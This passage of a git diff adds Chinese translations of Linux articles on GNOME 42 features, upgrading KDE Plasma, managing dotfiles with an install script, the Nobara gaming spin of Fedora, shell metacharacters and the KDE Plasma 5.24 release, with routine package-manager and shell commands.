所做的努力类似,GNOME 开发者也为实现系统级的暗色模式做出了努力。 + +在我们的 [最初报道][5] 中,我们提到了为什么 GNOME 计划跟随 elementary OS 添加一个暗色风格的偏好。 + +你可以在系统设置中的外观菜单下找到切换主题的选项。你在改变背景时,也可以通过右键菜单访问它。 + +#### 2、文件夹图标主题更新 + +尽管 GNOME 专注于提供现代的桌面体验,但原来的文件夹图标看起来已经过时。 + +随着 GNOME 42 和对于新的文件夹图标主题的 [一些讨论][6] ,他们最终确定了一个蓝灰色的梯度设计。 + +![][19] + +下面是它在浅色主题下的样子: + +![][7] + +#### 3、GTK 4 和 libadwaita + +GNOME 41 引入了 [libadwaita][8],旨在推动 GNOME 应用程序的用户体验改变。 + +当然,这也意味着开发者要做更多的工作,但到目前为止,移植到 GTK 4 的过程很顺利,而且情况应该会在 GNOME 42 中变得更好。 + +当许多应用程序正在为 GNOME 42 做准备时,你会发现像 [Fragments 2.0][9] 这样的软件已经准备好为你提供漂亮的用户体验。 + +在这一点上,几乎所有的 GNOME 应用程序似乎都在 UI 方面取得了进步。 + +总的来说,按钮、图标、圆角和细微的视觉变化都反映了这些改进。 + +#### 4、改造后的系统设置 + +从功能上看,系统设置没有变化,但视觉上的差异是明显的。 + +![][10] + +你应该发现用户界面更干净、更现代、更有美感。从技术上讲,由于移植到了GTK 4,维护它有技术上的好处,但你不必担心找不到选项,都是一样的。 + +#### 5、GNOME 文本编辑器 + +![][11] + +Gedit 将被 GNOME 的新文本编辑器所取代,它支持新的功能和主题设计。 + +虽然我们已经 [在我们的早期报道中讨论了它的功能][12],但它的测试版似乎已经准备好了,准备进入表演时间了。 + +#### 6、对截屏用户界面和本地录屏的改进 + +[GNOME 截屏][13] 应用程序目前提供了一个简单的 GUI,帮助你对整个屏幕、一个区域或一个窗口进行截屏。 + +在 GNOME 42 中,它的用户界面得到了一些重大的改变,包括录制屏幕的能力。 + +![][14] + +不仅仅是新功能,通过其新的用户界面,你可以轻松地在截屏或录屏之间切换。 + +它看起来很棒,你觉得呢? + +#### 7、夜间/白天的墙纸 + +![][15] + +默认壁纸是蓝色背景,如上面的截图所示。然而,你会注意到一个紫色的变体壁纸,它按时间(白天结束时)启动。 + +下面是壁纸的夜间变体的样子: + +![][16] + +#### 其他改进 + +除了上述改进,GNOME 42 还包括性能调整和错误修复。 + +从 GNOME Shell 到核心应用程序,所有的东西都得到了微小的修复。 + +不要忘了,许多第三方项目已经为 GNOME 42 进行了改进,你应该会很高兴看到他们的成果。 + +### 下载 GNOME 42 + +你可以使用 Boxes 运行 [GNOME OS][17] 来测试 GNOME 42 的最新夜间构建版本。到目前为止,这是测试最新功能/变化的唯一方法。 + +- [GNOME 42][18] + +如果你不想体验测试版,那你可能想等待 Ubuntu 22.04 LTS 或 Fedora 36 为你的桌面加入 GNOME 42。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/gnome-42-features/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://news.itsfoss.com/gnome-41-release/ +[2]: https://itsfoss.com/ubuntu-22-04-release-features/ +[3]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/gnome-42-dark-style.jpg?w=1400&ssl=1 +[4]: https://news.itsfoss.com/elementary-os-6-features/ +[5]: https://news.itsfoss.com/gnome-42-dark-style-preference/ +[6]: https://gitlab.gnome.org/GNOME/adwaita-icon-theme/-/merge_requests/38 +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/gnome-42-file-manager-light.jpg?resize=1568%2C1017&ssl=1 +[8]: https://aplazas.pages.gitlab.gnome.org/blog/blog/2021/03/31/introducing-libadwaita.html +[9]: https://news.itsfoss.com/fragments-2-0-release/ +[10]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/gnome-42-settings-gtk4.jpg?resize=1568%2C1050&ssl=1 +[11]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/gnome-42-text-editor-alpha.jpg?w=1480&ssl=1 +[12]: https://news.itsfoss.com/gnome-text-editor-to-replace-gedit/ +[13]: https://itsfoss.com/using-gnome-screenshot-tool/ +[14]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/gnome-42-screenshot.jpg?w=1340&ssl=1 +[15]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/gnome-42-day-wallpaper.jpg?w=1500&ssl=1 +[16]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/gnome-42-night-wallpaper.jpg?w=1500&ssl=1 +[17]: https://itsfoss.com/gnome-os/ +[18]: https://os.gnome.org +[19]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/gnome-42-file-manager-dark.jpg?resize=1568%2C1002&ssl=1 \ No newline at end of file diff --git a/published/202202/20220208 How to Upgrade to KDE Plasma 5.24 from 5.23.md b/published/202202/20220208 How to Upgrade to KDE Plasma 5.24 from 5.23.md new file mode 100644 index 0000000000..5de3da16ba --- /dev/null +++ b/published/202202/20220208 How to Upgrade to KDE Plasma 5.24 from 5.23.md @@ -0,0 +1,109 @@ +[#]: subject: "How to Upgrade to KDE Plasma 5.24 from 5.23" +[#]: via: "https://www.debugpoint.com/2022/02/upgrade-kde-plasma-5-24/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14264-1.html" + +如何从 KDE Plasma 5.23 升级到 5.24 +====== + +> KDE 团队宣布了 KDE Plasma 5.24 LTS 版,已经可以下载和安装了。如果你打算从以前的版本升级,在这里我们给你提供了从 5.23 升级到 5.24 的简明步骤。 + +![KDE Plasma 5.24 桌面][1] + +KDE Plasma 5.24 是 Plasma 桌面的第 26 个版本,带来了显著的视觉改变和一些后端性能的提升。在这个版本中,你会看到全新的墙纸、Breeze 主题的视觉变化、指纹登录和一个全新的概览屏幕等等。 + +你可以在我们的综述文章里阅读有关 [KDE Plasma 5.24 功能的细节][2]。 + +如果你正在运行 KDE Plasma 的早期版本,你可以按本文说明升级到最新版本。 + +### 如何升级到 KDE Plasma 5.24 + +这个版本的升级包大小适中,在我的测试机器上大约是 450MB 以上。在开始升级过程之前,请确保关闭所有应用程序并保存你的数据。 + +一般来说,KDE 的升级是非常稳定的,它从来不会失败。但是,如果你想格外谨慎,并且有宝贵的数据,你可能想对这些进行备份。但同样,在我看来,我相信这是没有必要的。 + +#### 步骤 + +如果你是在 KDE Neon 之中、滚动发布的发行版(如 Arch Linux、Manjaro 之类)中运行 KDE Plasma 5.23,你可以打开 KDE 工具 “发现Discover”,点击检查更新。 + +你可以通过“发现Discover”的升级包列表验证 Plasma 5.24 是否可用。 + +一旦确认可用,点击“发现Discover”窗口右上方的“全部更新Update All”按钮。 + +另外,你也可以从终端运行下面的命令,在 KDE Neon 中开始升级过程。 + +``` +sudo apt update +sudo pkcon update +``` + +升级过程完成后重启系统。 + +而重启后,你应该看到全新的 KDE Plasma 5.24 出现在你面前。 + +### 在 Fedora 35 和 Ubuntu 21.10 中升级 KDE Plasma 5.24 + +截至目前,[Fedora 35][3] 和 [Ubuntu 21.10][4] 是两个主要的 KDE 的发行版。由于 [更新政策][5],Fedora 35 不会得到这个版本,而 Fedora 36 也将很快发布。 + +然而,如果你仍然想做实验,你可以在 Ubuntu 21.10 和 Ubuntu 21.04 中使用下面的 Backports PPA 安装这个新版本的 Plasma 桌面。在这样做的时候,请确保你保留一份数据备份。 + +``` +sudo add-apt-repository ppa:kubuntu-ppa/backports +sudo apt-get full-upgrade +``` + +在 Fedora 35 中,我试图通过下面的 COPR 仓库来安装。但是有太多的依赖性冲突需要解决,在一个稳定的系统中尝试这样做是有风险的。我建议目前不要在 Fedora 35 中尝试下面的方法。当然你仍然可以通过 `allowerasing` 标志来安装。但不要这样做。 + +另外,我猜 Fedora 35 的官方版本会在第一个小版本(即 5.24.1)发布时更新,该版本将于 2022 年 2 月 15 日发布,所以你可以等到那时。 + +另外,等待 Fedora 36 也是比较明智的做法,因为它将这个版本作为默认版本。Fedora 36 将于 2022 年 4 月发布。 + +![试图在 Fedora 35 中安装 Plasma 5.24][6] + +``` +sudo dnf copr enable marcdeop/plasma +sudo dnf copr enable marcdeop/kf5 +sudo dnf upgrade --refresh +``` + +### 升级后的反馈 + +我在虚拟机中运行了升级过程,并安装了新的 KDE Plasma 5.23。升级过程很顺利,没有出现意外或错误。好吧,到目前为止,它对我来说从未失败过。 + +升级时间完全取决于你的互联网连接和 KDE 服务器。一般来说,它应该在 30 分钟内完成。 + +升级过程后的第一次重启很顺利,没有花费多少时间。 + +从性能上讲,我觉得它比之前的版本更流畅,这要归功于几个错误的修复和底层的性能优化。 + +所以,总的来说,如果你在使用 KDE Neon,你可以安全地升级。否则就等待 Ubuntu 和 Fedora 稳定版的软件包。 + +享受全新的 KDE Plasma 吧! + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/02/upgrade-kde-plasma-5-24/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/wp-content/uploads/2022/02/KDE-Plasma-5.4-Desktop-1024x576.jpg +[2]: https://www.debugpoint.com/2022/01/kde-plasma-5-24/ +[3]: https://www.debugpoint.com/2021/09/fedora-35/ +[4]: https://www.debugpoint.com/2021/07/ubuntu-21-10/ +[5]: https://docs.fedoraproject.org/en-US/fesco/Updates_Policy/#stable-releases +[6]: https://www.debugpoint.com/wp-content/uploads/2022/02/Trying-to-Install-Plasma-5.24-in-Fedora-35-1024x576.jpg +[7]: https://t.me/debugpoint +[8]: https://twitter.com/DebugPoint +[9]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[10]: https://facebook.com/DebugPoint diff --git a/published/202202/20220208 My tips for maintaining dotfiles in source control.md b/published/202202/20220208 My tips for maintaining dotfiles in source control.md new file mode 100644 index 0000000000..9cc4fbf5f6 --- /dev/null +++ b/published/202202/20220208 My tips for maintaining dotfiles in source control.md @@ -0,0 +1,88 @@ +[#]: subject: "My tips for maintaining dotfiles in source control" +[#]: via: "https://opensource.com/article/22/2/dotfiles-source-control" +[#]: author: "Moshe Zadka https://opensource.com/users/moshez" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14283-1.html" + +我在源码控制中维护点文件的技巧 +====== + +> 当你把环境保持在源码控制中,开发虚拟机和容器就成了一个解决方案,而不是一个问题。 + +![](https://img.linux.net.cn/data/attachment/album/202202/18/145014pc7lmh5ts15mm0tm.jpg) + +你是否曾经开始使用一台新的电脑,不管是出于自愿还是因为旧的电脑让你的魔法烟消云散,并且对花了多长时间才把所有东西都 _弄好_ 而感到沮丧?更糟糕的是,有没有花了一些时间重新配置你的 shell 提示符,然后意识到你更喜欢以前的样子? + +对我来说,当我决定要在 [容器][2] 中进行开发时,这个问题就变得很严重了。容器是非持久的。开发工具很容易解决:一个带有工具的容器镜像就可以工作。源码很容易解决:源码控制维护它,开发是在分支上。但是,如果每次我创建一个容器,我都需要仔细地配置它,这就太痛苦了。 + +### 主目录的版本控制 + +将配置文件保存在版本控制中一直是一个有吸引力的选择。但是天真地这么做是令人担忧的。不可能直接对 `~` 进行版本控制。 + +首先,太多的程序认为把秘密放在那里是安全的。此外,它也是 `~/Downloads` 和 `~/Pictures` 等文件夹的位置,这些文件夹可能不应该被版本化。 + +小心翼翼地在主目录下保留一个 `.gitignore` 文件来管理 `include` 和 `exclude` 列表是有风险的。在某些时候,其中一个路径会出错,花费了几个小时的配置会丢失,大文件会出现在 Git 历史记录中,或者最糟糕的是,秘密和密码会被泄露。当这一策略失败时,它就成了灾难性的失败。 + +手动维护大量的符号链接也是行不通的。版本控制的全部原因是为了避免手动维护配置。 + +### 写一个安装脚本 + +这暗示了在源码控制中维护点文件的第一条线索:写一个安装脚本。 + +就像所有好的安装脚本一样,让它 _幂等_:运行两次不会两次增加配置。 + +像所有好的安装脚本一样,让它 _只做最少的事情_:使用其他的技巧来指向你的源码控制中的配置文件。 + +### ~/.config 目录 + +现代 Linux 程序在直接在主目录中寻找配置之前,会先在 `~/.config` 中寻找。最重要的例子是 `git`,它在 `~/.config/git` 中寻找。 + +这意味着安装脚本可以将 `~/.config` 符号链接到主目录中源码控制的管理目录中的一个目录: + +``` +#!/bin/bash +set -e +DOTFILES="$(dirname $(realpath $0))" +[ -L ~/.config ] || ln -s $DOTFILES/config ~/.config +``` + +此脚本寻找它的位置,然后将 `~/.config` 链接到它被签出的地方。这意味着几乎没有关于它需要位于主目录中的位置的假设。 + +### 获取文件 + +大多数 shells 仍然直接在主目录下寻找文件。为了解决这个问题,你要增加一层指示。从 `$DOTFILES` 中获取文件意味着在修改 shell 配置时不需要重新运行安装程序。 + +``` +$!/bin/bash +set -e +DOTFILES="$(dirname $(realpath $0))" +grep -q 'SETTING UP BASH' ~/.bashrc || \ + echo "source $DOTFILES/starship.bash # SETTING UP BASH" >> ~/.bashrc +``` + +再次注意,这个脚本很仔细地做了幂等:如果这一行已经在那里了,它就不会再添加。它还考虑到了你在 `.bashrc` 上已经做的任何编辑,虽然这不是一个好主意,但也没有必要惩罚它。 + +### 反复测试 + +当你把环境保持在源码控制中时,开发虚拟机和容器就成了一个解决方案,而不是一个问题。试着做一个实验。建立一个新的开发环境,克隆你的点文件,安装,并看看有什么问题。 + +不要只做一次。至少每周做一次。这将使你更快地完成工作,同时也会告诉你什么是不可行的。暴露问题,修复它们,然后重复。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/dotfiles-source-control + +作者:[Moshe Zadka][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/moshez +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/coffee_tea_laptop_computer_work_desk.png?itok=D5yMx_Dr (Person drinking a hot drink at the computer) +[2]: https://opensource.com/tags/containers diff --git a/published/202202/20220208 Nobara Project Aims to Offer an Unofficial Fedora Linux 35 Spin Tailored for Gaming.md b/published/202202/20220208 Nobara Project Aims to Offer an Unofficial Fedora Linux 35 Spin Tailored for Gaming.md new file mode 100644 index 0000000000..dbfe202a49 --- /dev/null +++ b/published/202202/20220208 Nobara Project Aims to Offer an Unofficial Fedora Linux 35 Spin Tailored for Gaming.md @@ -0,0 +1,118 @@ +[#]: subject: "Nobara Project Aims to Offer an Unofficial Fedora Linux 35 Spin Tailored for Gaming" +[#]: via: "https://news.itsfoss.com/fedora-nobara-gaming/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14282-1.html" + +Nobara:一个为游戏量身定做的非官方 Fedora Linux 35 衍生版 +====== + +> Nobara 项目添加了必要的软件包/工具,并修复了一些问题,使 Fedora Linux 适合游戏,并计划在未来进行进一步的完善! + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/fedora-nobara-project-gaming.png?w=1200&ssl=1) + +Fedora 35 是一个令人印象深刻的 Linux 发行版,在这个版本中首次推出了 GNOME 41 并引入了一个新的 KDE 变体。 + +你可以阅读我们的 [原始报道][1],了解更多关于它的信息。 + +虽然 Fedora Linux 一直在不断改进桌面体验,但它可能不是每个用户的理想桌面发行版。此外,即使它包括开箱即用的开源工具和实用程序,它也不是为了提供毫不费力的游戏体验。 + +你需要安装一些依赖性的东西,并配置好发行版,才能轻松地玩一个游戏。 + +由红帽工程师 Thomas Crider(又名 Glorious Eggroll)发起 的 Nobara 项目旨在改变这种状况,并提供一个为游戏而生的非官方 Fedora 35 工作站衍生版。 + +### Nobara 工作站 35 有什么新东西? + +Fedora 35 支持几个 Linux 游戏。然而,如果你需要使用 Proton 或 Wine 来玩 Windows 专属的游戏,你得配置一些东西,并可能需要排除一些游戏中的故障。 + +所以,Nobara 项目旨在提供一个非官方的衍生版,为其添加用户友好的修复,使其成为 Linux 玩家的理想选择。 + +![][2] + +#### 对于 Fedora 35 的小白用户 + +如果你已经使用了一段时间的 Linux,并且能够自如地使用 Linux终端,你应该知道 [在 Linux 上设置 Wine][3]、Proton 和安装任何额外的编解码器是相当容易的。 + +然而,对于依赖预装包和软件中心提供的应用程序的小白用户来说,他们需要做出一些努力来了解它。 + +#### Lutris、Steam、OBS Studio 和 Kdenlive 预装版 + +Lutris 可以帮助你在 Linux 上管理和进行游戏。不要忘了,它已经 [帮助 Linux 成长为一个适合游戏的平台][4],提供了一个易于使用的 GUI,让用户可以玩只支持 Windows 的游戏。 + +使用 Nobara 工作站 35,已经预装了 Lutris。这个项目背后的开发者也正好在维护 Lutris。因此,可以在 Nobara 工作站 35 上看到 Lutris 的最新版本。 + +不仅仅是 Lutris,你还会得到 Steam、OBS Studio 和 Kdenlive 的支持。 + +当然,顺便说一句,你也会得到标准的 Fedora 工作站软件包。 + +#### 对游戏的修复 + +在 Fedora 35 上玩几个游戏时有一些已知的问题。该项目提到,游戏开发者希望 Fedora 解决这些问题,显然,Fedora 将问题抛给了游戏开发者。而这些问题仍然没有解决。 + +因此,在 Nobara 工作站 35 中,其中一些问题已经得到解决。问题如: + + * 由于 libusb 和 xow(Xbox One 无线加密狗的驱动)的问题导致 CPU 负载过高 + * 为 Dying Light 添加必要的符号链接 + +#### X11 作为默认的显示服务器 + +Wayland 可能提供了比 X11 会话更多的技术改进。然而,X11 与游戏的兼容性更好。 + +此外,它也是 AMD 的 FSR 技术、以及 [Steam Play/Proton][5] 和 Wine 的一些其他东西的可以工作的必要条件。 + +#### 其他变化 + +考虑到 Nobara 工作站 35 相对较新,令人惊讶的是,你可以发现一些明显的不同。 + +一些值得一提的关键亮点包括: + + * Nobara 工作站 35 禁用了 Fedora 官方软件库中的一些软件包,而倾向于使用自己的。例如,与 Fedora 的官方软件库相比,你应该在 Nobara 的软件库中找到一个更新一些的 Lutris 版本。 + * Nobara 工作站 35 使用了一个定制的内核。 + * [RPM Fusion 仓库][6] 是默认启用的。 + * 用于 Wine 64/32 位游戏兼容性的额外软件包。 + +开发者计划很快通过添加以下内容来进一步改进它。 + + * 添加自定义的 OBS Studio 及浏览器集成插件,和 vulkan+opengl 捕捉支持。 + * Nobara 特定的主题设计。 + * 包括 [Proton-GE][7] 和 Lutris Win-GE 的构建。 + +你可以在其 [官方网站][8] 上了解其他技术变化。 + +### 结束语 + +如果 Nobara 项目使 Fedora Linux 适用于游戏,我们应该多了一个 [以游戏为重点的 Linux 发行版][9]。 + +对于适应 Fedora Linux 的 Linux 玩家来说,这将是一个不错的选择。 + +- [下载 Nobara 工作站 35][8] + +你可以从其官方网站下载合适的 ISO(GNOME 和 KDE 版本)来尝试。请注意,这是一个相当新的衍生版,所以在它取代作为你的日常用机之前,你可能要三思而行。 + +你对 Noboara 项目有什么看法?我们是否需要一个针对游戏的 Fedora Linux 版本?请在评论中告诉我你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/fedora-nobara-gaming/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://news.itsfoss.com/fedora-35-release/ +[2]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/fedora-nobara-scaled.jpg?resize=1568%2C773&ssl=1 +[3]: https://itsfoss.com/use-windows-applications-linux/ +[4]: https://news.itsfoss.com/lutris-creator-interview/ +[5]: https://itsfoss.com/steam-play/ +[6]: https://itsfoss.com/fedora-third-party-repos/ +[7]: https://github.com/GloriousEggroll/proton-ge-custom +[8]: https://nobaraproject.org/ +[9]: https://itsfoss.com/linux-gaming-distributions/ diff --git a/published/202202/20220209 6 Linux metacharacters I love to use on the command line.md b/published/202202/20220209 6 Linux metacharacters I love to use on the command line.md new file mode 100644 index 0000000000..382d039538 --- /dev/null +++ b/published/202202/20220209 6 Linux metacharacters I love to use on the command line.md @@ -0,0 +1,104 @@ +[#]: subject: "6 Linux metacharacters I love to use on the command line" +[#]: via: "https://opensource.com/article/22/2/metacharacters-linux" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14270-1.html" + +我喜欢在 Linux 命令行中使用的 6 个元字符 +====== + +> 在 Linux 命令行上使用元字符是提高生产力的一个好方法。 + +![](https://img.linux.net.cn/data/attachment/album/202202/13/235915kbphrm6ld6yi2hud.jpg) + +在我的 Linux 之旅的早期,我学会了如何使用命令行。这就是 Linux 的与众不同之处。我可以失去图形用户界面(GUI),但没有必要完全重建机器。许多 Linux 电脑是无头headless运行的,你可以在命令行上完成所有的管理任务。它使用许多所有人都熟悉的基本命令,如 `ls`、`ls-l`、`ls-l`、`cd`、`pwd`、`top` 等等。 + +### Linux 上的 Shell 元字符 + +你可以通过使用元字符来扩展这些命令。我不知道你怎么称呼它们,但这些元字符使我的生活变得更轻松。 + +### 管道符 | + +假设我想知道我的系统上运行的 Firefox 的所有实例。我可以使用带有 `-ef` 参数的 `ps` 命令来列出我系统上运行的所有程序实例。现在我想只看那些涉及 Firefox 的实例。我使用了我最喜欢的元字符之一,管道符 `|`,将其结果送到 `grep`,用它来搜索模式: + +``` +$ ps -ef | grep firefox +``` + +### 输出重定向 > + +另一个我最喜欢的元字符是输出重定向 `>`。我用它来打印 `dmesg` 命令结果中所有 AMD 相关的结果。你可能会发现这在硬件故障排除中很有帮助: + +``` +$ dmesg | grep amd > amd.txt +$ cat amd.txt +[ 0.897] amd_uncore: 4 amd_df counters detected +[ 0.897] amd_uncore: 6 amd_l3 counters detected +[ 0.898] perf/amd_iommu: Detected AMD IOMMU #0 (2 banks, 4 counters/bank). +``` + +### 星号 * + +星号 `*`(通配符)是寻找具有相同扩展名的文件时我的最爱,如 `.jpg` 或 `.png`。我首先进入我的系统中的 `Picture` 目录,并使用类似以下的命令: + +``` +$ ls *.png +BlountScreenPicture.png +DisplaySettings.png +EbookStats.png +StrategicPlanMenu.png +Screenshot from 01-24 19-35-05.png +``` + +### 波浪号 ~ + +波浪号 `~` 是在 Linux 系统上通过输入以下命令快速返回你的家目录的一种方法: + +``` +$ cd ~ +$ pwd +/home/don +``` + +### 美元符号 $ + +`$` 符号作为一个元字符有不同的含义。当用于匹配模式时,它意味着任何以给定字符串结尾的字符串。例如,当同时使用元字符 `|` 和 `$` 时: + +``` +$ ls | grep png$ +BlountScreenPicture.png +DisplaySettings.png +EbookStats.png +StrategicPlanMenu.png +Screenshot from 01-24 19-35-05.png +``` + +### 上尖号 ^ + +符号 `^` 将结果限制在以给定字符串开始的项目上。例如,当同时使用元字符 `|` 和 `^` 时: + +``` +$ ls | grep ^Screen +Screenshot from 01-24 19-35-05.png +``` + +这些元字符中有许多是通往 [正则表达式][2] 的大门,所以还有很多东西可以探索。你最喜欢的 Linux 元字符是什么,它们是如何节省你的工作的? + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/metacharacters-linux + +作者:[Don Watkins][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/terminal_command_linux_desktop_code.jpg?itok=p5sQ6ODE (Terminal command prompt on orange background) +[2]: https://opensource.com/article/18/5/getting-started-regular-expressions diff --git a/published/202202/20220209 KDE Plasma 5.24 LTS Releases with Updated Breeze Theme and New Overview Effect.md b/published/202202/20220209 KDE Plasma 5.24 LTS Releases with Updated Breeze Theme and New Overview Effect.md new file mode 100644 index 0000000000..d6a85f0354 --- /dev/null +++ b/published/202202/20220209 KDE Plasma 5.24 LTS Releases with Updated Breeze Theme and New Overview Effect.md @@ -0,0 +1,119 @@ +[#]: subject: "KDE Plasma 5.24 LTS Releases with Updated Breeze Theme and New Overview Effect" +[#]: via: "https://news.itsfoss.com/kde-plasma-5-24-lts-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14259-1.html" + +KDE Plasma 5.24 LTS 发布 +====== + +> KDE Plasma 5.24 带来了更新的 Breeze 主题、新的概览效果、新的墙纸,以及进一步的改进。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/kde-5-24-release.png?w=1200&ssl=1) + +我们已经关注 KDE Plasma 5.24 有一段时间了。 + +从发现 [GNOME 风格的概览效果][1] 到增加 [指纹支持][2]。如果你一直在关注我们的报道,你已经知道了 KDE Plasma 5.24 所带来的变化。 + +现在,KDE Plasma 5.24 稳定版终于来了,让我重点介绍一下主要新增内容和改进。 + +### KDE Plasma 5.24 的新变化 + +![][3] + +KDE Plasma 5.24 是一个长期支持版本,它会不断得到更新,直到 Plasma 5 发布最终版本(并过渡到 Plasma 6)。 + +在这个版本中,你不会看到大幅度的视觉变化,但你可以找到各种功能改进和细微的视觉完善。 + +#### 对 Breeze 主题的更新 + +![][4] + +Breeze 主题得到了一些视觉上的调整,以提高与应用程序的 Breeze 风格的视觉一致性。 + +除此之外,默认的 Breeze 配色方案被重新命名为 “Breeze Classic”,以将其与 “Breeze Light” 和 “Breeze Dark” 颜色主题分开。 + +选择重点颜色的能力最初是在 [KDE Plasma 5.23][5] 中引入的,但现在你也可以为其选择一个自定义的颜色。 + +#### 对通知的改进 + +![来自:PointiestStick 博客][6] + +为了从视觉上区分重要的通知,你会注意到它的边上有一个橙色的条纹,以帮助它们从不太紧急的消息中脱颖而出。 + +此外,为了提高用户体验,如果通知是关于视频/图片的,通知会显示一个内容的缩略图,以给你一个视觉提示。 + +#### 概览效果 + +![][7] + +在 KDE Plasma 5.24 中,你终于可以看到新的“概览Overview”效果了。请注意,这个功能还在测试阶段。 + +它可以让你轻松地浏览多个桌面,而默认是禁用的。你必须前往“系统设置System settings工作区行为Workspace Behavior桌面效果Desktop Effects”,在“窗口管理Window Management”选项下启用它并测试它。 + +![][8] + +你可以按住 `Windows`/`Super` 键,然后按 `W` 键,查看所有活动窗口和虚拟桌面的概况。 + +#### 对“发现”的改进 + +![来自:PointiestStick 博客][9] + +KDE 的软件中心,即“发现Discover”也得到了一些升级,包括防止用户删除重要软件包的能力。它还允许你在更新后自动重新启动。因此,你不必等待更新完成,然后再重新启动你的系统。 + +![][10] + +除此之外,你现在可以打开本地下载的 Flatpak 软件包,并通过“发现”进行安装(软件库也应会自动添加)。 + +#### 锁屏/登录中的指纹识别支持 + +在 Plasma 5.24 中,加入了指纹认证支持。你最多可以添加 10 个指纹,用它们来解锁屏幕或验证一个应用程序内的操作。 + +#### 其他改进 + +Plasma 5.24 还有其他一些变化。你可以通过 [变更日志][11] 了解所有技术细节。 + +一些亮点包括: + + * 对屏幕键盘的改进 + * “Plasma Pass” 密码管理器采用了现代化的设计 + * 在没有电池的电脑上,“电池和亮度”现在变成了只有亮度控制。 + * 对 Krunner 的改进 + * 当你拖放小部件时,它们现在可以平滑地以动画方式移动到最终位置,而不是立即传送到那里。 + * 在“关于这个系统About this System”的页面上有一个新的按钮,可以让你快速访问信息中心。 + * 即使屏幕被关闭或拔掉电源,活动窗口也会留在各自的桌面屏幕上。 + +截至目前,你可以使用 [KDE Neon][12] 尝试 KDE Plasma 5.24,它专注于提供最新、最棒的 KDE 软件包。但请注意,它可能不是其他流行的 Linux 发行版的完整桌面替代品。 + +如果你想在你目前的发行版上使用最新的 KDE Plasma,你得等待它进入默认仓库。 + +你对 KDE Plasma 5.24 有什么看法?你试过了吗?让我在下面的评论中知道你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/kde-plasma-5-24-lts-release/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://news.itsfoss.com/kde-plasma-5-24-dev/ +[2]: https://news.itsfoss.com/kde-plasma-5-24-beta/ +[3]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/kde-plasma-5-24-home.jpg?w=1360&ssl=1 +[4]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/kde-plasma-5-24-breeze.png?w=789&ssl=1 +[5]: 